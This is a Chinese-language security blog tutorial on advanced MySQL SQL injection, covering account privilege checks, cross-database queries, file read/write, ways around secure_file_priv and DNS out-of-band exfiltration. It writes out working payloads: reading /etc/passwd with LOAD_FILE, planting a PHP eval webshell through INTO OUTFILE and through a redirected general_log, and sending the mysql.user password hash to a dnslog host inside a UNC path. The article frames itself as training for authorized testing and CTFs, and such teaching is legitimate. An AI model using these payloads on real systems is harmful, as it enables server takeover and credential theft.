ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

SQL注入进阶:高权限判定、跨库查询与文件读写实战

SQL注入进阶:高权限判定、跨库查询与文件读写实战

不谈那些绕来绕去的概念,今天这篇直接讲SQL注入进阶里最值钱的一段内容:拿到注入点之后,怎么判断数据库账号的权限高低,怎么从只能操作当前库升级到跨库读取整个数据库实例,以及文件读写、secure_file_priv开关、DNS带外这些“高权限玩法”到底怎么落地。这套东西来自某安全进阶课程的SQL注入专题后期,实战性很强,适合已经会基础注入、想在授权测试里往深处走一步的读者。不管你是红队方向还是蓝队方向,把这一块补上,你对数据库攻击面的理解会完全不一样。

很多人在注入点面前只会一把梭,sqlmap一把跑完,拿到数据就结束。但真正决定一次测试上限的,往往不是能不能查出数据,而是数据库账号能干多少事。同样是注入点,普通账号可能只能拖当前库的数据,高权限账号却可能读服务器文件、写webshell、甚至通过DNS把数据悄悄带出来。今天我就按实战流程把这些内容拆开讲清楚。

1. 为什么说高权限判定是SQL注入进阶的第一道门槛

1.1 权限高低决定一次注入的杀伤半径

数据库账号的权限差异,在实际攻防里就是“伤害范围”的差异。用个生活化的类比:普通用户在购物网站登录后,只能看到自己的订单和收货地址,这是“当前库”边界;管理员登录后,能看到全站所有用户的订单,这是“跨库”能力;而数据库超级管理员,相当于连服务器的硬盘都能摸到,也就是文件读写、命令执行这一类能力。

放到SQL注入场景里,三种权限形态对应三种截然不同的测试走向:

  • 普通应用账号:权限被限制在某个业务库内,注入危害集中在当前业务数据,最多能拖动表数据、盲注猜数据。
  • 跨库权限账号:权限覆盖数据库实例下的多个库,能够读取其他业务库、系统库的敏感数据。
  • 超级管理员账号(root/dba/sysadmin):在数据库能力之上,还可能叠加文件读写、日志配置修改、系统命令执行等高危能力,直接影响服务器本身。

所以拿到SQL注入点之后,第一步不是急着查数据,而是搞清楚当前会话是什么权限。这一步判断错了,后面所有动作都可能是白费功夫。

1.2 高权限判定的实用手法

不同数据库的权限判断方式不太一样,但MySQL比较典型,也最常见。新手可以直接上手试这几组语句,观察返回值差异。

第一类是身份与版本探测:

SELECT user(); SELECT current_user(); SELECT session_user(); SELECT version(); SELECT @@version;

user()返回当前连接账号及来源主机,比如root@localhost,如果返回的是app_user@%,说明不是管理员账号。version()、@@version能拿到数据库版本号,版本信息对后续判断漏洞利用面和函数可用性很关键。

第二类是权限查询:

SHOW GRANTS FOR CURRENT_USER(); SELECT * FROM mysql.user WHERE user = 'root'\G

SHOW GRANTS是判断权限最直接的方式。如果返回结果里带有GRANT ALL PRIVILEGES ON.,说明账号具有全库权限,这是跨库和文件读写的先决条件。如果只能看到某个库的SELECT权限,那基本就是妥妥的低权限账号。

第三类是依托报错与盲注的间接判断。某些注入场景下页面没有直接回显,需要通过布尔条件或时间延迟来辅助判断。比如在MySQL中执行:

AND (SELECT count(*) FROM information_schema.schemata) > 5

如果页面条件成立与不成立返回不同,说明当前账号至少能读取全部库名的统计信息。如果一直报错“access denied”,反而说明权限被卡住了。

1.3 权限判断中的常见误区

很多人把user()和current_user()混为一谈,其实两者有微妙差异:user()返回的是客户端提供的认证账号,current_user()返回的是服务器实际匹配到的授权账号。如果连接串里账号名与授权表里的账号名不完全一致,返回值可能会不一样,这在实际排查接口权限问题时很容易踩坑。

另一个常见问题是版本差异。MySQL 5.x的information_schema里能直接查Schemata、Tables、Columns等视图,但MySQL 8.0之后部分统计视图被调整,某些列被废弃,比如information_schema.tables里的statistic列已经不存在。如果照搬老语法,在高版本上会直接报错,影响判断效率。遇到版本报错先别慌,看错误信息里提示的版本号,再调整对应语法。

还有一点:报错本身也是信息。很多注入场景下,数据库报错会暴露当前用户名、权限不足提示、文件路径、操作系统版本等元数据。测试时别急着屏蔽所有报错,先仔细看一遍报错完整内容,往往能白捡关键线索。

2. 跨库查询:从当前库打到整个数据库实例

2.1 跨库查询到底在查什么

很多初学者有个误区,以为MySQL里的“数据库”就是整个数据库服务。实际上一个MySQL实例下挂着多个平行库:information_schema、mysql、performance_schema、sys,再加上各类业务库。它们之间是平级的,能不能读到另一个库的数据,完全取决于账号授权粒度。

低权限账号通常只对当前业务库有SELECT权限,最多能看到自己库里的表结构,跨库查询时要么返回空,要么直接报“SELECT command denied to user”。高权限账号则可以通过库名前缀直接访问任意库的表,比如:

SELECT * FROM other_database.users;

这一句就是跨库查询的核心姿势。一旦确认有跨库权限,后续的信息收集面会瞬间扩大,目标不再是一个库里的几张表,而是数据库实例中的所有敏感数据。

2.2 用system库和业务库组合扩大战果

跨库查询的第一步,通常是先摸清实例下有哪些库。注入点可控时,可以尝试查询:

SELECT schema_name FROM information_schema.schemata;

如果这条语句能返回多个库名,说明权限至少覆盖了元数据层。接着就可以对每个库的表做一次地毯式搜索,重点关注包含user、admin、member、credit、bank等关键词的表名和列名。

实际操作中,我习惯把跨库查询分成两条线:一条查系统库,一条查业务库。系统库里mysql.user表存有数据库账号口令哈希,如果有权限读取,可以尝试离线破解弱口令或进一步横向渗透。业务库则按优先级排序,先摸清那些看起来“值钱”的库,再做定向数据提取。

2.3 跨库查询的授权限制与边界判断

不是所有高权限账号都能跨库。MySQL的授权是“用户名+来源主机+库名表名”的多维组合,有些账号虽然叫root,但授权时只允许访问某个库,那是假高权限。真正的全库权限必须带有ON *.*或ON%.*这类全局授权。

判断方式是执行SHOW GRANTS,重点看权限作用范围字段。授权里如果有db1.这类限定,只能操作db1下的对象;如果有.*,那就是真正的全局广域权限。

另外有一种特殊情况:应用系统连接数据库时使用管理员账号,但权限被中间件或代理层限制。在注入点看到的语句以普通用户执行,但底层连接池里还可能混有更高权限的连接,这种情况需要通过二次注入或SESSION级权限提升来试探,不属于常规跨库范畴,但值得留意。

3. 文件读写与secure_file_priv开关绕过全解

3.1 文件读写:从数据库到服务器的关键一步

SQL注入一旦能升级到文件读写,攻击面直接从“数据库数据”跳到“服务器文件系统”。MySQL中读文件用load_file(),写文件用INTO OUTFILE/INTO DUMPFILE。典型场景如下。

读文件示例:

SELECT LOAD_FILE('/etc/passwd'); SELECT LOAD_FILE('C:\\Windows\\win.ini');

写webshell示例:

SELECT '<?php @eval($_POST["x"]);?>' INTO OUTFILE '/var/www/html/shell.php';

如果这两条语句能成功执行,就意味着拿到了服务器的部分控制权。web目录一旦可写,就能直接植入webshell,后渗透的路径就完全打开了。这也是为什么数据库文件读写能力在攻防中如此关键。

3.2 secure_file_priv参数到底是什么

secure_file_priv是MySQL用于限制文件导入导出路径的开关。很多实战者卡在文件读写环节,就是因为对这个参数理解不到位。它有三种取值含义:

取值含义对文件读写的影响
NULL禁止文件导入导出load_file和INTO OUTFILE都不可用
空字符串不限制路径读写任意路径文件
指定目录(如/tmp/)只允许在指定目录读写其他路径直接报错

查看方式很简单:

SHOW VARIABLES LIKE 'secure%';

默认情况下,MySQL 5.5及以后版本的官方安装包会把secure_file_priv设为NULL或指定目录,这也是现在很多目标站明明有注入点,却死活读不了文件的原因之一。

3.3 绕过secure_file_priv的思路与边界

很多人一听到“绕过”就觉得一定有口令,实际上secure_file_priv的绕过更多是“场景适配”而不是“硬破”。我按实际情况整理几个方向。

第一,如果secure_file_priv被设置为NULL,常规读写函数直接失效。这时候不要硬刚文件读写,可以把目标转向数据外带。既然文件系统进不去,优先保证数据能带出来,DNS带外或者HTTP数据外带都可以继续推进。先完成数据层面目标,再考虑服务器控制。

第二,如果secure_file_priv被设置为某个具体目录,且该目录可被Web服务访问,那就直接把webshell写到该目录下,然后再想办法把webshell通过其他方式移动或映射到可访问位置。实际操作中很少能一步到位,但值得尝试。

第三,尝试修改general_log配置。MySQL的通用日志默认可能关闭,但如果当前账号具备SUPER权限或能修改全局变量,可以将general_log打开,并把general_log_file指向Web目录,然后通过执行SQL语句将webshell内容写入日志文件,间接实现“无OUTFILE写文件”。示例如下:

SET GLOBAL general_log = 'ON'; SET GLOBAL general_log_file = '/var/www/html/shell.php'; SELECT '<?php @eval($_POST["x"]);?>';

这种方式不依赖secure_file_priv,是文件写入被限制后的重要替代路径,但前提是账号具备修改全局变量的权限,且目标目录可写、Web服务可解析。

3.4 文件读写实操中的路径与权限细节

文件读写失败,很多时候不是secure_file_priv的锅,而是路径不对或目录权限不足。实战中先确认web根目录,常见默认路径有/var/www/html、/usr/share/nginx/html、C:\inetpub\wwwroot等。可以通过报错信息、phpinfo页面、配置文件读取等渠道确定真实web根路径。

还要注意目录权限问题。即使secure_file_priv允许写,操作系统层面的Web目录如果被写保护,INTO OUTFILE依然会失败。这时候要么找其他可写目录,要么换日志写文件的方式。

另外,INTO DUMPFILE和INTO OUTFILE有细微差别:OUTFILE会写入文本格式并处理转义,DUMPFILE是逐字节写入二进制内容,写webshell时如果内容包含特殊字符,DUMPFILE更可靠。实战中我写一句话木马时更常用DUMPFILE,避免转义引发的内容损坏。

4. DNS带外:没有回显也能把数据拿出来

4.1 为什么需要DNS带外

SQL注入测试中经常遇到“查无回显”的场景:页面不展示查询结果、报错被应用层吞掉、时间盲注又慢又容易触发WAF。这时候DNS带外(OOB)就派上了用场。

用类比解释:时间盲注相当于“蒙着眼睛猜密码”,一秒钟猜一个字符;DNS带外相当于“让保险箱自己拨打电话告诉密码”,只要目标能向外发起DNS解析,数据就能通过DNS请求悄悄传出来。核心思路是让目标数据库向自己可控的DNS服务器发起解析请求,并把敏感数据拼进子域名部分,随后在DNS日志里读取数据。

4.2 触发DNS请求的几种SQL手法

MySQL中常见的触发方式是借助load_file()解析UNC路径。MySQL在Windows环境下访问UNC路径时会发起SMB请求,在Linux环境下则可能触发DNS解析请求,前提是服务器允许外发DNS流量。SQL大致长这样:

SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM mysql.user LIMIT 1), '.dnslog.example.com\\x'));

把查询结果拼成子域名,目标服务器解析该域名时,DNS请求就会发往我们控制的DNS服务器,并在日志中记录完整的子域名,于是敏感数据就被带了出来。

MSSQL下也可以借助xp_dirtree、xp_fileexist等存储过程触发UNC路径请求。不过在利用前需要确认账号具备执行扩展存储过程的权限,很多高权限账号默认是允许的。

能不能成功触发DNS请求,取决于两个前提:一是目标确实会发起对目标域名的解析,二是目标到公网53端口的DNS链路没有被防火墙阻断。这两个条件缺一不可。

4.3 DNS带外的限制与坑

DNS带外不是万能药,有一堆细节容易翻车。

第一,子域名长度限制。DNS协议中子域名单段不能超过63字符,完整域名不能超过255字符。直接把长字符串拼进子域名会被截断,所以外面传输前通常先把数据转成十六进制,分段外带。比如查询结果先用HEX()转换,再分成多段,每段一段一个子域名。

第二,特殊字符问题。原始数据里的加号、斜杠、问号等字符拼入域名会引发解析异常,必须先做编码。速度优先就HEX,兼容度最好也HEX,缺点是对半长度会膨胀,所以只适合外带较短的关键数据。

第三,DNS平台的刷新延迟。自己在本地搭的DNS接收环境,或者在线DNSLog平台,记录刷新通常有几秒到几十秒的延迟。测试时不要连续快速发包,避免日志还没刷新就误认为失败。

第四,外发流量被阻断。企业出口防火墙、云安全策略可能封堵对外53端口或SMB流量。这种情况换个思路,观察是否允许HTTP回连,如果目标能主动访问我们的HTTP服务,也可以考虑用HTTP请求外带数据,只是HTTP流量更容易被上层检测设备感知。

4.4 实战中的DNS带外操作流程

我先在本地准备一个可控的记录环境,或者使用在线DNSLog平台拿到一个专属子域名。接着在注入点构造以下测试:

SELECT LOAD_FILE(CONCAT('\\\\', 'test', '.target.dnslog.cn\\a'));

执行后立刻去DNSLog平台刷新记录,如果能看到test.target.dnslog.cn的解析记录,说明该注入点具备DNS带外条件,可以尝试外带真实数据。如果没有解析记录,要排查是不是load_file不可用、目标不出网、还是防火墙拦截。别急着否定DNS带外,先把条件链逐项确认。

数据外带时我习惯按优先级抽数据:先带当前库名、表名,再带目标字段值,每次只带一小段,频率控制低一点,避免大量DNS请求引起告警。批量化操作适合脚本自动化,但脚本要控制好节拍,纯手工叩一百次也能跑但效率太低。

5. 从注入点到全流程实操梳理与排查速查

5.1 一条完整的高权限利用流程

这里把我常用的流程串一下,给读者一个完整的参考骨架。拿到注入点后,我通常会按这个顺序往下走:

  1. 确认注入类型:区分字符型、数字型、报错型、盲注型,确定可用的SQL执行上下文。
  2. 探测数据库类型:根据不同数据库的注释符、函数差异,快速区分MySQL、MSSQL、Oracle、PostgreSQL。
  3. 获取当前账号与版本信息:user()、current_user()、version(),确认基础身份。
  4. 检查权限粒度:SHOW GRANTS FOR CURRENT_USER(),确认是否为全库高权限。
  5. 尝试读取库名列表:information_schema.schemata确认实例下的库边界,判断跨库可行性。
  6. 尝试文件读写检测:SHOW VARIABLES LIKE 'secure%'看secure_file_priv配置,再用LOAD_FILE读取已知文件验证FILE权限。
  7. 尝试DNS带外探测:看看目标能否发起外网DNS解析,为盲注场景预留数据通道。
  8. 数据提取与后渗透:按目标敏感度排序,优先提取关键数据;若条件允许,再考虑webshell写入等高权限操作。
  9. 整理测试记录与加固建议:这一步不分红蓝都该做,数据面和防御建议一起输出。

5.2 常见失败原因速查表

故障现象可能原因排查方向替代方案
load_file总是返回NULL账号无FILE权限SHOW GRANTS看授权尝试日志写文件或DNS带外
INTO OUTFILE写入失败secure_file_priv限制看变量值是否为NULL或具体目录改用general_log写文件
写入成功但webshell无法访问web根目录判断错误核对报错路径与默认web目录换个可写可解析目录
跨库查询返回空账号权限仅限当前库检查GRANT授权范围先提升权限或换连接
DNS带外无记录目标不出网或load_file不可用先做test解析再排查链路改用HTTP外带或纯时间盲注
盲注速度太慢逐字符猜测效率低尝试报错型或布尔型注入用DNS带外批量传数据
报错信息被应用吞掉应用层错误处理覆盖观察响应差异或非200状态码使用时间盲注或OOB

5.3 自动化工具与手工思路怎么配合

sqlmap确实可以自动化完成权限探测和数据提取,比如--dbs可以列出所有库,--file-read可以尝试读文件,--os-shell可以尝试命令执行。但我不建议纯靠工具一键到底。工具能帮你快速验证某条路径可不可行,但路径选错了,工具只会给你一个让人迷惑的错误结果,不会告诉你问题出在secure_file_priv还是目录权限。

我的习惯是:手工先做一遍权限探测和路径验证,搞清楚目标环境的权限边界,再用工具辅助铺量。手工确定了可行的注入方向和可利用点,工具负责提升效率。这个流程虽然慢一点,但成功率远高于直接无脑跑工具。

5.4 学习建议与靶场验证

想把这套东西练熟,强烈建议在自己搭的镜像环境或靶场里反复操作。本地用容器把MySQL跑起来,分别把secure_file_priv设成NULL、空字符串、指定目录三种状态,再把general_log打开,模拟不同权限场景,亲手跑一遍文件读写、日志写入、DNS带外。容器化环境的好处是快照恢复非常方便,搞坏了也不怕。

还需要刻意练习的是“报错信息敏感度”。很多路径判断都藏在报错里,练习时可以故意构造各种错误语句,观察返回信息的差异,逐步建立对数据库元数据的直觉。

最后必须反复强调:以上所有操作仅适用于授权测试、靶场练习和CTF竞赛。没有拿下授权之前,对线上系统做任何注入测试都是违规甚至违法的。技术本身是中立的,但使用场景决定了性质。

这套流程走完一遍之后,你会发现SQL注入的阈值不在于“能不能注入”,而在于“注入之后能飞到多远”。高权限判定是起跑线,跨库查询和文件读写是两条主要的扩大战线方向,DNS带外是数据通道兜底方案。把这几个能力连起来,面对一个注入点时你的决策路数就清晰得多。

我个人踩过最多次的坑就是文件读写路径判断失误,在secure_file_priv已经放开的情况下,因为不确定web根目录而反复碰壁。后来我习惯先用load_file读取常见的配置文件、日志文件路径来推断目录结构,再决定写入位置,成功率一下就上去了。这个小技巧分享给读者,希望能少走点弯路。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进